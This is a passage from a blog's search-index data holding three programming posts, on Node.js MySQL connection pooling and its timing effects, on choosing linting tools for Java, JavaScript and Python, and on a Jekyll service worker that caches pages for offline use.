bulk of the time is not even spent in our program. Bulk of the time is actually spent in waiting to get the connection back from mysql, since we are re-using the single connection again and again. Thus, there is literally no performance gain inspite of making the calls in \u0026ldquo;parallel\u0026rdquo;\nTo fix this, I am going to change the program to use a connection pool. I am creating a simple pool as follows:\nvar pool = mysql.createPool({ connectionLimit: 100, //important host: \u0026#39;127.0.0.1\u0026#39;, user: \u0026#39;***\u0026#39;, password: \u0026#39;***\u0026#39;, database: \u0026#39;user\u0026#39;, debug: false }); And change our function to use the connection pool:\nfunction hitQuery(callback) { var user_query = \u0026#34;select count(*) from user u, access_code uac, user_location_info uli where u.id = uac.user_id and u.id = uli.user_id\u0026#34; pool.getConnection(function(err, connection) { if (err) { connection.release(); res.json({ \u0026#34;code\u0026#34;: 100, \u0026#34;status\u0026#34;: \u0026#34;Error in connection database\u0026#34; }); return; } connection.query(user_query, function(err, rows, fields) { if (err) throw err; if (rows.length == 0) { console.log(\u0026#34;No device token found for user: \u0026#34; + 16182); callback(null, null); } else { callback(null, rows[0]); } }); }); } Again, If I time the single execution time here. I get\n$ time node paralleltest1.js real\t0m1.763s user\t0m0.163s sys\t0m0.020s Not much has changed, we got 1.756 while using without connection pooling. The benefit of connection pooling is only when we run multiple requests together. So now, lets execute in series of 5 queries as done earlier.\n$ time node paralleltest1.js real\t0m8.192s user\t0m0.182s sys\t0m0.019s Again, no real benefit. What is happening here is that the second query is executed only after the first query is executed. Hence, this time is perfectly fine. Its just that bulk of time is wasted.\nLet\u0026rsquo;s move this to 5 parallel queries.\n$ time node paralleltest1.js real\t0m2.311s user\t0m0.175s sys\t0m0.019s This time we have brought it down to 2.311 seconds from 8.168 seconds which was the time it took to execute without having a connection pool.\n","permalink":"https://madhur.co.in/blog/2016/09/05/nodejs-connection-pooling.html","summary":"\u003cp\u003e\u003ca href=\"https://nodejs.org/en/\"\u003eNode.js\u003c/a\u003e is popularly known for its asynchronous, non-blocking and event-driven I/O model and the scalability it can achieve in executing \u003ca href=\"https://en.wikipedia.org/wiki/I/O_bound\"\u003eI/O bound\u003c/a\u003e operations.\u003c/p\u003e\n\u003cp\u003eHowever, a developer must keep in mind that there are some things which can severely limit the scalability of the Node.js application. I have earlier already covered \u003ca href=\"/blog/2016/05/28/nodejs-dns-cache.html\"\u003eHow DNS resolution is a blocking call in node and must be handled to achieve scalability\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIn this post, I am going to cover \u003ca href=\"https://en.wikipedia.org/wiki/Connection_pool\"\u003econnection pooling\u003c/a\u003e. I have observed that connection pooling is a critical engineering decision which is easily ignored while developing node.js applications.  While interacting with any external resource such as \u003ca href=\"https://www.mysql.com/\"\u003eMySQL\u003c/a\u003e, \u003ca href=\"https://www.postgresql.org/\"\u003ePostgreSQL\u003c/a\u003e, \u003ca href=\"http://redis.io/\"\u003eRedis\u003c/a\u003e or \u003ca href=\"https://www.mongodb.com/\"\u003eMongoDB\u003c/a\u003e, each of it requires a connection pool for any sizeable node.js application.\u003c/p\u003e","title":"Effect of connection pooling on node.js performance"},{"content":"Recently, I have been involved in integrating linting tools with our build tool Jenkins\nI have been researching appropriate linting tools for programming languages used in our tech stack, primarily Java, Python and Javascript\nGiven below is my findings and our choosen lint tools.\nJava Findbugs It looks for bugs in Java programs. It can detect a variety of common coding mistakes, including thread synchronization problems, misuse of API methods, etc.\nPMD It scans Java source code and looks for potential problems: Possible bugs, Dead code, Suboptimal code, Overcomplicated expressions and Duplicate code.\nCheckstyle\nIt is a development tool to help programmers write Java code that adheres to a coding standard.\nJavascript EsLint\nESLint is the most recent out of the four. It was designed to be easily extensible, comes with a large number of custom rules, and it’s easy to install more in the form of plugins. It gives concise output, but includes the rule name by default so you always know which rules are causing the error messages.\nESLint documentation can be a bit hit or miss. The rules list is easy to follow and is grouped into logical categories, but the configuration instructions are a little confusing in places. It does, however, offer links to editor integration, plugins and examples all in a single location.\nJSHint\nJSHint was created as a more configurable version of JSLint (of which it is a fork). You can configure every rule, and put them into a configuration file, which makes JSHint easy to use in bigger projects. JSHint also has good documentation for each of the rules, so you know exactly what they do. Integrating it into editors is also simple.\nA small downside to JSHint is that it comes with a relaxed default configuration. This means you need to do some setup to make it useful. When comparing it with ESLint, it’s also more difficult to know which rules you need to change in order to enable or disable certain error messages.\nJSLint\nJSLint is the oldest of the four. Douglas Crockford created it in 2002 to enforce what, in his experience, are the good parts of JavaScript. If you agree with the good parts, JSLint can be a good tool—you install it and it’s ready to go.\nPython pychecker - executes (be careful) pyflakes - parses, great for finding NameErrors, obsolete imports pylint - parses, very comprehensive (on the excessive-compulsive side). pep8 - parses, a style checker. flake8 - parser, combines pep8 and pyflakes, with added complexity support, extensible. Conclusion For java, we went with Findbugs, simply because the kind of problems it can detect. Other java linting tools focus more on code style, indentation, spacing , variable naming etc. Findbugs is only tool which can go deep and find out some real issues in your code.\nFor Javascript, ESLint, because of its extensibility. Other contenders like JSHit and JSLint are either obsolete or does not offer extensibility.\nFor python, we went with pylint again because of its extensibility.\nThere are some other tools which are programming language agnostic such as Sonar. However, I haven\u0026rsquo;t got a chance to try them.\n","permalink":"https://madhur.co.in/blog/2016/09/04/code-linting-tools.html","summary":"\u003cp\u003eRecently, I have been involved in integrating \u003ca href=\"https://en.wikipedia.org/wiki/Lint_(software)\"\u003elinting\u003c/a\u003e tools with our build tool \u003ca href=\"https://jenkins.io/\"\u003eJenkins\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eI have been researching appropriate linting tools for programming languages used in our tech stack, primarily \u003ca href=\"https://en.wikipedia.org/wiki/Java_(programming_language)\"\u003eJava\u003c/a\u003e, \u003ca href=\"https://www.python.org/\"\u003ePython\u003c/a\u003e and \u003ca href=\"https://en.wikipedia.org/wiki/JavaScript\"\u003eJavascript\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGiven below is my findings and our choosen lint tools.\u003c/p\u003e\n\u003ch2 id=\"java\"\u003eJava\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://findbugs.sourceforge.net/\"\u003eFindbugs\u003c/a\u003e\nIt looks for bugs in Java programs. It can detect a variety of common coding mistakes, including thread synchronization problems, misuse of API methods, etc.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"http://pmd.github.io/\"\u003ePMD\u003c/a\u003e\nIt scans Java source code and looks for potential problems: Possible bugs, Dead code, Suboptimal code, Overcomplicated expressions and Duplicate code.\u003c/p\u003e","title":"Code linting tools"},{"content":"I finally added the service worker for my Jekyll site madhur.co.in.\nFor introduction, Service workers enable rich offline experiences, periodic background syncs and push notifications.\nFor start, I have just implemented offline caching of JS/CSS/HTML files so that the site can be browsed even when offline.\nHere is the simplest definition of a service worker which generates the Url of pages so that they can be cached\n--- layout: null --- var cacheName = \u0026#39;madhur-cache-v1\u0026#39;; var filesToCache = [ // Stylesheets // Pages and assets {% for page in site.html_pages %} {% if page.url contains \u0026#39;projects\u0026#39; or page.url contains \u0026#39;404\u0026#39; %} {% else %} \u0026#39;{{ page.url }}\u0026#39;, {% endif %} {% endfor %} // Blog posts {% for post in site.posts %} \u0026#39;{{ post.url }}\u0026#39;, {% endfor %} // JS files, Portfolio assets and main video // (!) This will throw a Liquid error. Read below. {% for file in site.static_files %} {% if file.extname == \u0026#39;.js\u0026#39; or file.path contains \u0026#39;/portfolio/screenshots\u0026#39; or file.path contains \u0026#39;/portfolio/thumbnails\u0026#39; %} \u0026#39;{{ file.path }}\u0026#39;, {% endif %} {% endfor %} ]; // serviceWorker.js self.addEventListener(\u0026#39;install\u0026#39;, function(event) { event.waitUntil( caches.open(cacheName).then(function(cache) { return cache.addAll(filesToCache); }) ); }); self.addEventListener(\u0026#39;fetch\u0026#39;, function(event) { event.respondWith( caches.match(event.request) .then(function(response) { if (response) { console.log(\u0026#39;[*] Serving cached: \u0026#39; + event.request.url); return response; } console.log(\u0026#39;[*] Fetching: \u0026#39; + event.request.url); return fetch(event.request); } ) ); }); The generated file can be seen at http://www.madhur.co.in/serviceWorker.js\nIn current implementation, the service worker will always return the response from the cache if one exists. However, there are lot of strategies which can be implemented for example:\nCache Only Network only Cache First Network First Fastest These and many other such patterns are documented in offline cookbook\nThese patterns can be easy implemented using sw-toolbox\n","permalink":"https://madhur.co.in/blog/2016/08/21/service-worker-jekyll-site.html","summary":"\u003cp\u003eI finally added the \u003ca href=\"http://www.html5rocks.com/en/tutorials/service-worker/introduction/\"\u003eservice worker\u003c/a\u003e for my Jekyll site \u003ca href=\"https://madhur.co.in\"\u003emadhur.co.in\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eFor introduction, Service workers enable rich offline experiences, periodic background syncs and push notifications.\u003c/p\u003e\n\u003cp\u003eFor start, I have just implemented offline caching of JS/CSS/HTML files so that the site can be browsed even when offline.\u003c/p\u003e\n\u003cp\u003eHere is the simplest definition of a service worker which generates the Url of pages so that they can be cached\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e---\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003elayout\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e---\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ecacheName\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;madhur-cache-v1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003efilesToCache\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// Stylesheets\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// Pages and assets\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"nx\"\u003epage\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"nx\"\u003esite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ehtml_pages\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"nx\"\u003epage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e \u003cspan class=\"nx\"\u003econtains\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;projects\u0026#39;\u003c/span\u003e \u003cspan class=\"nx\"\u003eor\u003c/span\u003e \u003cspan class=\"nx\"\u003epage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e \u003cspan class=\"nx\"\u003econtains\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;404\u0026#39;\u003c/span\u003e   \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s1\"\u003e\u0026#39;{{ page.url }}\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"nx\"\u003eendif\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"nx\"\u003eendfor\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// Blog posts\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"nx\"\u003epost\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"nx\"\u003esite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eposts\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"s1\"\u003e\u0026#39;{{ post.url }}\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"nx\"\u003eendfor\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// JS files, Portfolio assets and main video\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// (!) This will throw a Liquid error. Read below.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"nx\"\u003efile\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"nx\"\u003esite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estatic_files\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"nx\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextname\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;.js\u0026#39;\u003c/span\u003e \u003cspan class=\"nx\"\u003eor\u003c/span\u003e \u003cspan class=\"nx\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epath\u003c/span\u003e \u003cspan class=\"nx\"\u003econtains\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/portfolio/screenshots\u0026#39;\u003c/span\u003e \u003cspan class=\"nx\"\u003eor\u003c/span\u003e \u003cspan class=\"nx\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epath\u003c/span\u003e \u003cspan class=\"nx\"\u003econtains\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/portfolio/thumbnails\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              \u003cspan class=\"s1\"\u003e\u0026#39;{{ file.path }}\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"nx\"\u003eendif\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"nx\"\u003eendfor\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// serviceWorker.js\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;install\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ewaitUntil\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003ecaches\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecacheName\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecache\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003ecache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efilesToCache\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;fetch\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erespondWith\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003ecaches\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erequest\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;[*] Serving cached: \u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erequest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;[*] Fetching: \u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erequest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003efetch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erequest\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe generated file can be seen at \u003ca 